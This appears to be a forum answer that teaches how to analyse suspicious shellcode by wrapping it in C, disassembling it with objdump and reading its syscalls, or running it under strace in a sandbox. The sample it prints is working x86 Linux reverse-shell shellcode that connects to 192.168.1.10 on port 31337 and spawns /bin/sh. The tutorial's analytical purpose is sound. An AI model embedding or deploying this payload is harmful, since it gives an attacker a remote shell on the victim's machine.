First, you should disassemble the code, for example by modifying the source to
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main() 
{
 write(1, code, sizeof(code)-1);
}
$ gcc -O2 sc.c -o sc
$ ./sc > sc.bin
Now, you can use objdump to get the disassembled source (isa is obviously ia32):
$ objdump -bbinary -mi386 -D sc.bin
Disassembly of section .data:
00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   31 c9                   xor    %ecx,%ecx
   6:   31 d2                   xor    %edx,%edx
   8:   b0 66                   mov    $0x66,%al
   a:   b3 01                   mov    $0x1,%bl
   c:   51                      push   %ecx
   d:   6a 06                   push   $0x6
   f:   6a 01                   push   $0x1
  11:   6a 02                   push   $0x2
  13:   89 e1                   mov    %esp,%ecx
  15:   cd 80                   int    $0x80
  17:   89 c6                   mov    %eax,%esi
  19:   b0 66                   mov    $0x66,%al
  1b:   31 db                   xor    %ebx,%ebx
  1d:   b3 02                   mov    $0x2,%bl
  1f:   68 c0 a8 01 0a          push   $0xa01a8c0
  24:   66 68 7a 69             pushw  $0x697a
  28:   66 53                   push   %bx
  2a:   fe c3                   inc    %bl
  2c:   89 e1                   mov    %esp,%ecx
  2e:   6a 10                   push   $0x10
  30:   51                      push   %ecx
  31:   56                      push   %esi
  32:   89 e1                   mov    %esp,%ecx
  34:   cd 80                   int    $0x80
  36:   31 c9                   xor    %ecx,%ecx
  38:   b1 03                   mov    $0x3,%cl
  3a:   fe c9                   dec    %cl
  3c:   b0 3f                   mov    $0x3f,%al
  3e:   cd 80                   int    $0x80
  40:   75 f8                   jne    0x3a
  42:   31 c0                   xor    %eax,%eax
  44:   52                      push   %edx
  45:   68 6e 2f 73 68          push   $0x68732f6e
  4a:   68 2f 2f 62 69          push   $0x69622f2f
  4f:   89 e3                   mov    %esp,%ebx
  51:   52                      push   %edx
  52:   53                      push   %ebx
  53:   89 e1                   mov    %esp,%ecx
  55:   52                      push   %edx
  56:   89 e2                   mov    %esp,%edx
  58:   b0 0b                   mov    $0xb,%al
  5a:   cd 80                   int    $0x80
Now you can start disassembling. Most important are the syscalls (int $0x80); the syscall numbers are in register %eax (you can see, which syscall it is, in the includefile asm/unistd_32.h), the parameters are in other registers.
The more dangerous (and less reliable), but easier and faster way:
You can create some kind of sandbox (for example, a chrooted, unprivileged user on a unix system, or even better, a vm) and run the code with "strace" to get an idea, what it does. However, this might be less reliable, since you cannot know for sure, if you see a relevant codepath then due to the circumstances or anti-debugging techniques.